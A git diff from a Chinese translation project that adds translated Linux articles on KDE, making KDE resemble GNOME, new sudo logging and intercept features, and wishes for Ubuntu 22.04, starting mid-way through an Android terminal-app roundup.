+在安卓上访问 Linux 终端并不像选择一个终端模拟器那么简单。你需要检查对命令的支持,以及它能让你在已 root 的、未 root 的设备上做什么,然后再继续。 + +如果你想做实验,任何一个选项都应该做得很好。 + +你的个人最爱是什么?我们是否错过了列出任何你的最爱?请在下面的评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/using-linux-terminal-android/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/online-linux-terminals/ +[2]: https://itsfoss.com/linux-terminal-emulators/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/qute-terminal.jpg?resize=800%2C600&ssl=1 +[4]: https://itsfoss.com/linux-command-tricks/ +[5]: https://itsfoss.com/shell-scripting-resources/ +[6]: https://play.google.com/store/apps/details?id=com.ddm.qute&hl=en_IN&gl=US +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/terminal-emulator-old.jpg?resize=800%2C600&ssl=1 +[8]: https://github.com/jackpal/Android-Terminal-Emulator/ +[9]: https://play.google.com/store/apps/details?id=jackpal.androidterm&hl=en_IN&gl=US +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/material-terminal.jpg?resize=800%2C600&ssl=1 +[11]: https://play.google.com/store/apps/details?id=yarolegovich.materialterminal&hl=en_IN&gl=US +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/termux.jpg?resize=800%2C600&ssl=1 +[13]: https://itsfoss.com/nnn-file-browser-linux/ +[14]: https://linuxhandbook.com/ssh-basics/ +[15]: https://github.com/termux/termux-app +[16]: https://f-droid.org/en/packages/com.termux/ +[17]: https://play.google.com/store/apps/details?id=com.termux +[18]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/termius.jpg?resize=800%2C600&ssl=1 +[19]: https://termius.com/ +[20]: https://play.google.com/store/apps/details?id=com.server.auditor.ssh.client&hl=en_IN&gl=US +[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/juicessh.jpg?resize=800%2C600&ssl=1 +[22]: https://play.google.com/store/apps/details?id=com.sonelli.juicessh&hl=en_IN&gl=US +[23]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/connectbot-app.jpg?resize=800%2C600&ssl=1 +[24]: https://play.google.com/store/apps/details?id=org.connectbot&hl=en_IN&gl=US +[25]: https://andronix.app/ +[26]: https://play.google.com/store/apps/details?id=studio.com.techriz.andronix +[27]: https://github.com/AndronixApp diff --git a/published/202202/20220221 Why I love KDE for my Linux desktop.md b/published/202202/20220221 Why I love KDE for my Linux desktop.md new file mode 100644 index 0000000000..ff45fa7735 --- /dev/null +++ b/published/202202/20220221 Why I love KDE for my Linux desktop.md @@ -0,0 +1,73 @@ +[#]: subject: "Why I love KDE for my Linux desktop" +[#]: via: "https://opensource.com/article/22/2/why-i-love-linux-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14311-1.html" + +为什么我喜欢将 KDE 作为我的 Linux 桌面 +====== + +> KDE Plasma 桌面的目标是整合、一致和定制的完美结合。 + +![](https://img.linux.net.cn/data/attachment/album/202202/27/161217bz1a9r1r9s1z11ns.jpg) + +开源引以为豪的事情之一是选择。你不必满足于你不喜欢的东西。你可以改变你的文件管理器、你的 [文本编辑器][2],你甚至有超过 [24 个桌面][3] 可以选择。和许多 Linux 用户一样,我一开始经常切换自己使用的桌面。最初我不知道自己喜欢什么,因为我还没有尝试过所有可用的东西。在 2008 年 1 月的一个好日子,KDE 4.0 发布了,从我看到 Plasma 桌面的那一刻起,我就知道这是我一直在等待的 Linux 桌面(那时我成为 Linux 用户才一年,我想我没必要等太久)。尽管我的笔记本上有 GNOME,我的树莓派上有 [Fluxbox][4],可能还有其他一些组合,但我认为自己是 Plasma 桌面的用户,也是 KDE 社区的一员。 + +### 我爱 KDE 的三个理由 + +爱上 KDE 的理由有很多,但这里有我的三个理由: + +#### 一致性 + +![Dolphin 文件管理器][5] + +一致性是教给用户一个新工具的重要部分。最理想的情况是,一个人在一个应用程序中学习了一些东西,然后在不知不觉中把同样的知识转移到另一个应用程序中。KDE 项目的目标是在其所有的应用程序中实现一致性,这也是 KDE 框架存在的原因之一。越多 KDE 开发者使用框架,用户需要学习的东西就越少,因为使用过一个应用程序的用户已经熟悉了该框架所提供的关键组件。 + +大量的代码在应用程序之间被重复使用。Konsole 可以作为 Dolphin 和 Kate 的一个面板启动。工具栏配置选项在所有应用程序中基本相同。有一些重要的惯例,比如用单次点击来打开一个文件或文件夹,而不是双击(你会节省几个微秒,相信我),以及可靠的右键菜单选项。 + +KDE 的伟大之处在于,当你想做一件你以前从未做过的事情时,你通常可以猜到你应该如何实现它。你被 KDE 的内部一致性所训练,知道应该怎么做。这并不总是有效的,毕竟你可能找错了地方,或者你可能试图让两种技术一起工作,而这两种技术没有过互相影响,但一般来说,你知道在哪里寻找一个选项,或者你知道在哪里拖动一个文件,或者何时右击一个对象,或者长按一个按钮。你通过实践来学习 KDE,那是一种很好的感觉。 + +#### 整合 + +![Gwenview 参考了 Krita][7] + +KDE 项目被很多人称为桌面,但还有一群用户认为 KDE 更像是一套应用程序。他们都是正确的! + +你可以运行 Plasma 桌面,也可以运行一个不同的桌面或窗口管理器,而只使用 KDE 应用程序。有很多东西可以选择,它们一起构成了一个完整的操作系统,影响了操作系统的风格倾向。当然,还有一些工作仍在进行中,但在我每天使用的应用程序中,有用于联系人、电子邮件和日历的 Kontact 套件,用于视频编辑的 Kdenlive,用于插图和摄影的 Krita,用于文件管理的 Dolphin,用于 RSS 订阅的 Akregator,用于存档的 Ark,用于终端的 Konsole,用于播放音乐的 Juk,用于从我的手机传输文件的 KDE Connect,这个名单还在继续增长。我并不是只安装 K 应用,因为在 KDE 开发之外也有很多伟大的应用程序,但是有这样一套完整的工具使用同一套框架和库是很好的。它提供了凝聚力,这使得整合成为可能。 + +#### 定制 + +![系统设置][8] + +Plasma 桌面认识到,不同的用户对他们的工作空间有不同的要求和偏好。KDE 中几乎所有的东西都可以定制。你可以改变你的主题,你可以改变窗口装饰的布局,你可以改变打开一个文件所需的点击次数,什么是可点击的,什么是可拖动的,你可以在窗口内移动面板,然后当你不希望这些设置适用于某个应用程序时,你可以为它们设置特定的窗口覆盖项。 + +如果这听起来让人不知所措,也没错。但你不应该记住或甚至知道所有可能的定制。默认值是令人愉快的直观,而且大部分的行为是你期望的桌面行为。有一些小的 KDE 惯例你可能要习惯,但是当你发现你不喜欢的东西时,你知道因为它是 KDE,它可以被改变。你离开找到正确的旋钮或转盘来改变这个设置只距离一个参考文档。 + +### 让 Linux KDE 成为你自己的 + +我配置 Plasma 桌面的方式与我在会议和工作中看到的其他桌面不同,它是我在生活中尝试过的所有桌面中最喜欢的古怪东西的综合体。而这正是 KDE 的特别之处。它能适应我的每一个奇思妙想,甚至是非理性的奇思妙想。下次你必须在桌面之间做出选择时,看看 KDE 吧。如果你不喜欢你所看到的,给它点时间。你要么学会爱上它(单击操作就很好,我发誓),要么你最终会改变它。无论哪种方式,你都赢了。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/why-i-love-linux-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/linux_keyboard_desktop.png?itok=I2nGw78_ (Linux keys on the keyboard for a desktop computer) +[2]: https://opensource.com/article/21/2/open-source-text-editors +[3]: https://opensource.com/article/20/5/linux-desktops +[4]: https://opensource.com/article/19/12/fluxbox-linux-desktop +[5]: https://opensource.com/sites/default/files/kde-dolphin-nav.jpg (Dolphin file manager) +[6]: https://creativecommons.org/licenses/by-sa/4.0/ +[7]: https://opensource.com/sites/default/files/kde-gwenview-integration.jpg (Gwenview referencing Krita) +[8]: https://opensource.com/sites/default/files/kde-settings-theme_0.jpg (System settings) diff --git a/published/202202/20220222 How to make KDE look like GNOME on Linux.md b/published/202202/20220222 How to make KDE look like GNOME on Linux.md new file mode 100644 index 0000000000..aef52581bb --- /dev/null +++ b/published/202202/20220222 How to make KDE look like GNOME on Linux.md @@ -0,0 +1,109 @@ +[#]: subject: "How to make KDE look like GNOME on Linux" +[#]: via: "https://opensource.com/article/22/2/make-kde-look-like-gnome" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14314-1.html" + +如何让 KDE 看起来像 GNOME +====== + +> 在不放弃你的 Plasma 桌面的情况下获得 GNOME 的感觉。 + +![](https://img.linux.net.cn/data/attachment/album/202202/28/121405fxmzdms3a4p4mspa.jpg) + +GNOME 有一种极简主义设计的倾向。它是一种美丽的桌面体验,并且是第一个在我使用 Linux 时引起别人赞叹的自由桌面。然后(请原谅我的形而上的哲学思考),没有复杂性就没有极简主义,而 KDE 以其极具定制性而闻名。我认为测试一下 KDE 的配置可能会很有趣,并尝试在 KDE Plasma 桌面上重新实现,至少在表面上实现 GNOME 的体验。 + +如果你尝试这个,请在一个临时用户帐户中进行。这些变化相对来说比较剧烈,撤销它以回到你的标准 KDE 布局可能是一个很大的工作。 + +### Adwaita 主题 + +GNOME 的默认主题叫做 Adwaita,是为 GTK 设计的,这是 GNOME 用于窗口和部件的工具包。KDE 使用 Qt 工具包,但 Fedora-Qt 项目已经开发了一个模仿 Adwaita 的 Qt 主题。这是在 KDE 上模仿 GNOME 的第一步,也是最明显的一步。使用你的发行版的包管理器安装 Adwaita for Qt: + +``` +$ sudo dnf install adwaita-qt{,5} +``` + +在基于 Debian 的发行版上,请使用 `apt` 命令而不是 `dnf`。 + +安装完毕后,进入“系统设置System Settings”,选择“应用风格Application Style”。选择你喜欢的 Adwaita 主题变体:有一个浅色主题和一个深色主题,以及两者之间的变化。点击“应用Apply”按钮来更新你的主题,但先不要关闭这个控制面板。 + +### 窗口装饰 + +在“应用风格Application Style”窗口的左侧面板中选择“窗口装饰Window Decorations”分类。如果有一个适合 Adwaita 的标题栏样式,通过选择它并点击“应用Apply”来激活它。如果没有安装额外的装饰,点击面板右下方的“获取新窗口装饰Get new window decorations”按钮,下载合适的东西。我使用了用户 x-varlesh-x 提供的 “Arc” 主题,但你可以四处看看,看看什么最适合你的其他主题。 + +GNOME 著名的是它的窗口标题栏上只有一个按钮,所以导航到“标题栏按钮Titlebar Buttons”标签,然后通过将“关闭Close”按钮从标题栏图像拖到处置区域来删除所有按钮。 + +![Removing buttons][2] + +取消选择“显示标题栏按钮提示Show titlebar button tooltips”,因为 GNOME 不倾向于在系统部件上做提示。 + +点击“应用Apply”来保存你的修改。 + +### GTK 主题 + +在 KDE 上,使用 GTK 的应用通常会被重新主题化成与 KDE 的默认主题一致。现在你已经把你的主题从 KDE Breeze 改为 GNOME Adwaita,你必须告诉 GTK 使用 Adwaita 主题。 + +点击“应用风格Application Style”面板底部的“配置 GNOME/GTK 应用风格Configure GNOME/GTK application style”按钮,在下拉菜单中选择 “Adwaita”。 + +### 工作区行为 + +GNOME 在视觉上比 KDE 更安静,所以在“系统设置System Settings”中找到“工作区行为Workspace behavior”面板,停用“在鼠标悬停时显示信息提示Display informational tooltips on mouse hover”和“显示状态变化的视觉反馈Display visual feedback for status changes”。 + +你也可以把打开文件和文件夹改为需要双击而不是单击(在实际中,这对我来说太不方便了)。 + +### 图标和光标 + +你可以在“系统设置System Settings”中把光标改为 Adwaita 主题,然后选择一个图标主题。我喜欢 Breeze 的图标,但它们确实感觉像 KDE。GNOME 使用 Adwaita 图标集,但由于它们是为 GNOME 设计的,所以缺少一些重要的 KDE 组件的图标。你可以点击“图标Icons”控制面板中的“获取新图标Get New Icons”按钮来浏览很多图标集,最后我选择了用户 alvatip 提供的 “Nordzy”。不过,有很多不错的图标集可用,查看它们,看看你喜欢什么。我发现任何不属于 Breeze 的东西都会使 KDE 看起来与我习惯的东西有足够的不同。 + +### 系统面板 + +GNOME 的面板在屏幕的顶部,而 KDE 的面板默认在屏幕的底部。GNOME 的面板在默认情况下也是比较空的,所以我发现最简单的做法是先把当前的 KDE 面板完全删除。 + +右键点击并选择“编辑面板Edit panel”。进入编辑模式后,再次右键点击面板,选择“删除面板Remove panel”。当它消失了,右击桌面上的任何地方,选择“添加面板Add panel”并添加一个空面板。这样就在屏幕底部添加了一个面板,所以右击它,选择“编辑面板Edit panel”,然后点击并拖动“屏幕边缘Screen Edge”按钮到屏幕的顶部。 + +当仍处于编辑模式时,点击“添加部件Add widgets”按钮,将“应用仪表板Application dashboard”部件添加到面板的最左端。然后从“编辑面板Edit panel”视图中添加一个“间隔Spacer”块,然后是一个“时钟Clock”,然后是另一个“间隔Spacer”。你可以拖动这些小部件来排列它们,所以我发现最简单的做法是添加上应用仪表板和时钟,然后是两个间隔,再把它们排列起来。 + +![Editing the panel][3] + +你可以右键点击每个小组件来定制图标和布局。例如,我把日期从时钟上移走了,因为它在附加了日期后看起来很挤,尽管 GNOME 确实包含了日期。 + +通过进入“系统设置System Settings”,选择一个深色的 Plasma 主题,比如 “Breeze Dark”,将面板改为黑色。 + +### GNOME Plasma 桌面 + +通过一些快速的调整,你的桌面现在在各个方面接近于 GNOME。布局是类似的。 + +![GNOME layout][5] + +应用仪表板提供了一个 GNOME 风格的应用启动器。 + +![Application dashboard][6] + +其他小的修改进一步有助于产生这种错觉。例如,我简化了 Dolphin 文件管理器,去掉了“位置Places”面板,也去掉了工具栏上的大部分按钮。 + +### 一个不同的视角 + +这不是一个精确的匹配,比我更具钻研精神的人可以做的更多,得到更接近正确的结果。然而,像这样有趣的变化证明了 KDE 是多么的灵活,拥有大量的选项意味着你可以缩减你的交互内容以适应你的偏好。一个类似 GNOME 的桌面可以给你一个新的视角来看待你与桌面的互动,即使你不会永远保持这种布局,它可以帮助你发现你可能没有想到要寻找的选项。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/make-kde-look-like-gnome + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_browser_web_desktop.png?itok=Bw8ykZMA (Digital images of a computer desktop) +[2]: https://opensource.com/sites/default/files/kde-decoration-remove.jpg (Removing buttons) +[3]: https://opensource.com/sites/default/files/kde-panel-edit.jpg (Editing the panel) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/sites/default/files/kde-like-gnome_0.jpg (GNOME layout) +[6]: https://opensource.com/sites/default/files/kde-application-dashboard_0.jpg (Application dashboard) diff --git a/published/202202/20220223 5 new sudo features sysadmins need to know in 2022.md b/published/202202/20220223 5 new sudo features sysadmins need to know in 2022.md new file mode 100644 index 0000000000..b708e08320 --- /dev/null +++ b/published/202202/20220223 5 new sudo features sysadmins need to know in 2022.md @@ -0,0 +1,191 @@ +[#]: subject: "5 new sudo features sysadmins need to know in 2022" +[#]: via: "https://opensource.com/article/22/2/new-sudo-features-2022" +[#]: author: "Peter Czanik https://opensource.com/users/czanik" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14301-1.html" + +2022 年 5 个新 sudo 功能 +====== + +> 最近的 sudo 版本增加了新的功能,使你能够观察和控制以前隐藏的问题。 + +![](https://img.linux.net.cn/data/attachment/album/202202/24/124219ye7iqvqkvm7lla5a.jpg) + +当你想授予你的一些用户管理权限,同时控制和检查他们在你的系统上做什么时,你会使用 `sudo`。然而,即使是 `sudo`,也有相当多不可控的地方,想想给予 shell 权限的情况就知道了。最近的 `sudo` 版本增加了一些功能,可以让你看到这些问题,甚至控制它们。例如,你可以启用更详细、更容易处理的日志信息,并记录 shell 会话中执行的每个命令。 + +这些功能中有些是全新的。有些是出现在 1.9.0 甚至更早的版本中的功能。例如,`sudo` 可以记录终端上发生的一切,即使是在 1.8 版本。然而,系统将这些记录保存在本地,它们很容易被删除,特别是那些记录最有用的地方:Shell 会话。1.9.0 版本增加了会话记录集中收集,因此记录不能被本地用户删除,最近的版本还增加了中继功能,使收集功能更加强大。 + +如果你只知道 `sudo` 的基础知识,或者以前只使用过 1.8 版本,我建议你阅读我以前的 [文章][2]。 + +### 1、JSON 格式的日志记录 + +我想介绍的第一个新功能是 JSON 格式的日志记录。我是一个日志狂热者(12 年前我就开始在 `syslog-ng` 项目上工作),而这个功能是我在这里发表文章后引入的第一个功能。启用后,`sudo` 记录了更多的信息,并且以一种更容易解析的方式进行。 + +传统的 syslog 信息很短,只包含最小的必要信息量。这是由于旧的 `syslog` 实现的限制。超过 1k 大小的信息被丢弃或截断。 + +``` +Jan 28 13:56:27 localhost.localdomain sudo[10419]: czanik : TTY=pts/0 ; PWD=/home/czanik ; USER=root ; COMMAND=/bin/bash +``` + +最近的 `syslog` 实现可以处理更大的信息量。`syslog-ng` 默认接受 64k 大小的日志信息(当然,它可以更小或更大,取决于实际配置)。 + +同样的事件,如果以 JSON 格式记录,就会包含更多的信息。更多并不意味着更难处理。JSON 格式的信息更容易被许多日志管理软件应用解析。下面是一个例子: + +``` +Jan 28 13:58:20 localhost.localdomain sudo[10518]: @cee:{"sudo":{"accept":{"uuid":"616bc9efcf-b239-469d-60ee-deb5af8ce6","server_time":{"seconds":1643374700,"nanoseconds":222446715,"iso8601":"20220128125820Z","localtime":"Jan 28 13:58:20"},"submit_time":{"seconds":1643374700,"nanoseconds":209935349,"iso8601":"20220128125820Z","localtime":"Jan 28 13:58:20"},"submituser":"czanik","command":"/bin/bash","runuser":"root","runcwd":"/home/czanik","ttyname":"/dev/pts/0","submithost":"localhost.localdomain","submitcwd":"/home/czanik","runuid":0,"columns":118,"lines":60,"runargv":["/bin/bash"],"runenv":["LANG=en_US.UTF-8","HOSTNAME=localhost.localdomain","SHELL=/bin/bash","TERM=xterm-256color","PATH=/home/czanik/.local/bin:/home/czanik/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin","MAIL=/var/mail/root","LOGNAME=root","USER=root","HOME=/root","SUDO_COMMAND=/bin/bash","SUDO_USER=czanik","SUDO_UID=1000","SUDO_GID=1000"]}}} +``` + +你可以在 `sudoers` 文件中启用 JSON 格式的日志信息: + +``` +Defaults log_format=json +``` + +你可以从我的 [syslog-ng][3] 博客中了解更多关于如何从 `sudo` 中使用 JSON 格式的日志信息。 + +### 2、使用 sudo_logsrvd 集中收集日志 + +1.9.4 中另一个与日志相关的功能是使用 `sudo_logsrvd` 收集所有 `sudo` 日志信息(包括失败的)。以前,系统只在 `sudo_logsrvd` 实际进行记录时记录成功的会话。最后仍然默认通过 `syslog` 进行记录。 + +为什么这很重要?首先,你可以在一个地方收集任何与 `sudo` 有关的东西。无论是会话记录还是所有相应的日志信息。其次,它还可以保证正确记录所有与 `sudo` 有关的事件,因为如果 `sudo_logsrvd` 无法访问,`sudo` 可以拒绝执行命令。 + +你可以在 `sudoers` 文件中通过以下设置启用 `sudo_logsrvd` 日志记录(当然要替换 IP 地址): + +``` +Defaults log_servers=172.16.167.150 +``` + +如果你想要 JSON 格式的日志信息,你需要在 `sudo_logsrvd` 配置的 `[eventlog]` 部分进行如下设置: + +``` +log_format = json +``` + +否则,`sudo_logsrvd` 使用传统的 `sudo` 日志格式,并作了简单的修改。它还包括日志来源的主机的信息: + +``` +Nov 18 12:40:16 centos8splunk.localdomain sudo[21028]:   czanik : 3 incorrect password attempts ; HOST=centos7sudo.localdomain ; TTY=pts/0 ; PWD=/home/czanik ; USER=root ; COMMAND=/bin/bash +Nov 18 12:40:23 centos8splunk.localdomain sudo[21028]:   czanik : HOST=centos7sudo.localdomain ; TTY=pts/0 ; PWD=/home/czanik ; USER=root ; TSID=00000A ; COMMAND=/bin/bash +Nov 18 12:40:30 centos8splunk.localdomain sudo[21028]:   czanik : command rejected by I/O plugin ; HOST=centos7sudo.localdomain ; TTY=pts/0 ; PWD=/home/czanik ; USER=root ; COMMAND=/bin/bash +``` + +### 3、中继 + +当最初引入 `sudo_logsrvd`(1.9.0 版)进行会话记录集中收集时,客户端只能直接发送记录。1.9.7 版本引入了中继的概念。有了中继,你可以不直接发送记录,而是将记录发送到多级中间主机,这些中间主机构成你的网络。 + +为什么这很重要?首先,中继使收集会话记录成为可能,即使集中主机由于网络问题或维护而不可用。默认情况下,`sudo` 在无法发送记录时拒绝运行,所以中继可以确保你可以全天候使用 `sudo`。 + +其次,它还允许你对网络有更严格的控制。你不需要为所有的主机向中心的 `sudo_logsrvd` 开放防火墙,而只需要允许你的中继通过。 + +最后,它允许你从没有直接互联网接入的网络中收集会话记录,比如 AWS 私有网络,你可以在网关主机上以中继模式安装 `sudo_logsrvd`。 + +当你使用中继时,`sudo` 客户端和中心的 `sudo_logsrvd` 的配置保持不变。在中继主机上,在 `sudo_logsrvd.conf` 的 `[relay]` 部分添加以下一行: + +``` +relay_host = 172.16.167.161 +``` + +如果知道通往中心服务器的网络连接有问题,你可以配置中继,在转发记录之前储存它: + +``` +store_first = true +``` + +### 4、记录子命令 + +你是否曾经想知道在通过 `sudo` 启动的 shell 会话中发生了什么?是的,会话记录是存在的,但是为了看几个命令的执行情况而看几个小时的记录是很无聊的,也是对时间的巨大浪费。幸运的是,1.9.8 版本引入了子命令日志。现在,只需定期检查你的日志信息,并在发生可疑情况时才观看记录。 + +你甚至不需要一个允许 shell 访问的规则,只需要访问一个编辑器就可以访问 shell。大多数编辑器可以运行外部命令。我最喜欢的编辑器是 JOE,这是我通过 `sudo` 启动它时可以看到的情况: + +``` +Aug 30 13:03:00 czplaptop sudo[10150]:   czanik : TTY=pts/1 ; PWD=/home/czanik ; USER=root ; COMMAND=/usr/bin/joe +``` + +不用吃惊,就在一个编辑器里,我生成一个 shell 并从该 shell 中删除一些文件和分区。现在让我们看看当你启用对子命令记录时会发生什么: + +``` +Aug 30 13:13:14 czanik : TTY=pts/1 ; PWD=/home/czanik ; USER=root ; COMMAND=/usr/bin/joe +Aug 30 13:13:37 czanik : TTY=pts/1 ; PWD=/home/czanik ; USER=root ; COMMAND=/bin/sh -c /bin/bash +Aug 30 13:13:37 czanik : TTY=pts/1 ; PWD=/home/czanik ; USER=root ; COMMAND=/bin/bash +Aug 30 13:13:37 czanik : TTY=pts/1 ; PWD=/home/czanik ; USER=root ; COMMAND=/usr/bin/readlink /proc/10889/exe +[...] +Aug 30 13:13:37 czanik : TTY=pts/1 ; PWD=/home/czanik ; USER=root ; COMMAND=/usr/bin/sed -r s@/*:|([^\\\\]):@\1\n@g;H;x;s@/\n@\n@ +Aug 30 13:13:37 czanik : TTY=pts/1 ; PWD=/home/czanik ; USER=root ; COMMAND=/usr/bin/tty +Aug 30 13:13:42 czanik : TTY=pts/1 ; PWD=/home/czanik ; USER=root ; COMMAND=/usr/bin/id +Aug 30 13:13:56 czanik : TTY=pts/1 ; PWD=/home/czanik ; USER=root ; COMMAND=/usr/bin/ls -A -N --color=none -T 0 /usr/share/syslog-ng/include/scl/ +``` + +我省略了几十行以节省一些空间,但你仍然可以看到我启动了一个 shell,`bash_profile` 执行的命令也可以在日志中看到。 + +你可以在 `sudoers` 文件中使用以下设置来启用子命令日志: + +``` +`Defaults log_subcmds` +``` + +在传统的 `sudo` 日志中,你可以从 `sudo` 进程 ID 看到这些日志正是来自同一个 `sudo`会话。如果你打开 JSON 格式的日志,如前面所示,`sudo` 在日志中记录了更多的信息,使之更容易进行分析。 + +### 5、拦截子命令 + +记录子命令可以消除 `sudo` 的大部分隐患,但在有些情况下,你不只是想观察正在发生的事情,还想控制事件的流程。例如,你需要给一个用户提供 shell 权限,但仍想阻止他们运行一个特定的命令。在这种情况下,拦截是理想的选择。当然,也有一些限制,比如你不能限制 shell 的内置命令。 + +比方说,`who` 命令很危险。你可以分两步启用拦截。第一个步骤是启用它,第二个步骤是配置它。在这种情况下,我的用户不被允许运行 `who`: + +``` +Defaults intercept +czanik ALL = (ALL) ALL, !/usr/bin/who +``` + +当我通过`sudo` 启动一个 root shell 会话并尝试运行 `who` 时,会发生以下情况: + +``` +$ sudo -s +# who +Sorry, user czanik is not allowed to execute '/usr/bin/who' as root on czplaptop. +bash: /usr/bin/who: Permission denied +``` + +你可以很容易地完全禁用运行 shell: + +``` +Defaults intercept +Cmnd_Alias SHELLS=/usr/bin/bash, /usr/bin/sh, /usr/bin/csh +czanik ALL = (ALL) ALL, !SHELLS +``` + +这意味着你不能通过 `sudo` 启动 shell 会话。不仅如此,你也不能从编辑器中执行外部命令。当我试图从 `vi` 中启动 `ls` 命令时,就会出现这种情况: + +``` +$ sudo vi /etc/issue +Sorry, user czanik is not allowed to execute '/bin/bash -c /bin/ls' as root on czplaptop. +Cannot execute shell /bin/bash +Press ENTER or type command to continue +``` + +### 接下来是什么? + +我希望读了我的文章后,自己尝试一下这些新功能。你可以通过你的软件包管理器在许多 Linux 发行版和 UNIX 变种上安装最新的 `sudo`,或者使用 [Sudo 网站][4] 上的二进制安装程序。 + +这篇文章只是为你提供了一个新的可能性的概述。如果你想了解更多关于这些功能的信息,请访问网站,那里有手册页面,也有 [Sudo 博客][5]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/new-sudo-features-2022 + +作者:[Peter Czanik][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/czanik +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tools_sysadmin_cloud.png?itok=sUciG0Cn (Tools for the sysadmin) +[2]: https://linux.cn/article-12865-1.html +[3]: https://www.syslog-ng.com/community/b/blog/posts/working-with-json-logs-from-sudo-in-syslog-ng +[4]: https://www.sudo.ws/getting/packages +[5]: https://www.sudo.ws/posts diff --git a/published/202202/20220224 7 Things I Want to See in Ubuntu 22.04 LTS -I Know I Won-t Get it.md b/published/202202/20220224 7 Things I Want to See in Ubuntu 22.04 LTS -I Know I Won-t Get it.md new file mode 100644 index 0000000000..3d4dd185b6 --- /dev/null +++ b/published/202202/20220224 7 Things I Want to See in Ubuntu 22.04 LTS -I Know I Won-t Get it.md @@ -0,0 +1,136 @@ +[#]: subject: "7 Things I Want to See in Ubuntu 22.04 LTS [I Know I Won’t Get it]" +[#]: via: "https://news.itsfoss.com/things-i-want-ubuntu-22-04-lts/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14304-1.html" + +7 个我希望在 Ubuntu 22.04 LTS 看到的变化 +====== + +> Ubuntu 22.04 即将面世。但是,你对它的发布有什么期望?在这里,我分享一些我希望看到的东西。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/ubuntu-22-04-things-i-want.jpg?w=1200&ssl=1) + +随着 Ubuntu 22.04 LTS 的到来,我们都在急切地等待着体验 [Ubuntu 22.04 引入的功能][1]。 + +在没有对 Ubuntu 22.04 进行全面亲身体验的情况下,我不能确定它是否令人印象深刻。但是,我确实对我想在 Ubuntu 22.04 中看到的东西有一些想法。 + +现在提出一些修改要求可能有点太晚了,但我还是希望能有最好的结果。 + +一些重点包括: + +### 1、在所有的应用程序中保持一致的主题形象 + +![][2] + +任何试图在 Ubuntu 上安装 KDE 应用的人都会知道,主题不一致的情况比比皆是。更糟糕的是,Libadwaita 的加入只会让更多的应用程序显得格格不入。 + +为了解决这个问题,我认为需要一个替代解决方案组合。 + +首先,默认采用 Ubuntu 的 Yaru 主题的定制 Libadwaita 将使几乎所有为 Gnome 和 GTK 构建的应用程序再次保持一致。然而,这仍然不能解决 Qt/KDE 应用程序的问题。 + +对于这些,需要一个类似于 [Kvantum][3] 的解决方案。尽管 Kvantum 有点“难”,但我真的相信,一个有 Canonical(Ubuntu 的母公司)全力支持的解决方案能够克服 Kvantum 所面临的所有挑战。 + +Ubuntu 的外观和感觉是其决定性的特征之一,关键是要在每个应用程序中保持这种外观,以确保其视觉吸引力。 + +### 2、使用 GNOME 40 中引入的水平停靠区 + +![][3a] + +尽管有些激进,[Gnome 40][4] 是 Gnome 向未来的一次飞跃,有几个令人兴奋的功能。然而,这些创新的功能中有许多并没有进入 Ubuntu 22.10。 + +其中最值得注意的是水平停靠区。对我来说,我发现它极大地提高了我的工作效率,因为我不必再像以前那样把鼠标移到屏幕的左边。我相信很多 Ubuntu 用户同意我的观点,但是 Canonical 坚持认为左边的位置是最好的。 + +我不是说他们应该把停靠区移到底部,这毕竟是 Ubuntu 的一个决定性特征,只是给用户一个这样的选择而已。Ubuntu 在设置程序中已经有一个自定义“外观”部分,所以我认为在那里增加一个简单的切换开关不会太难。 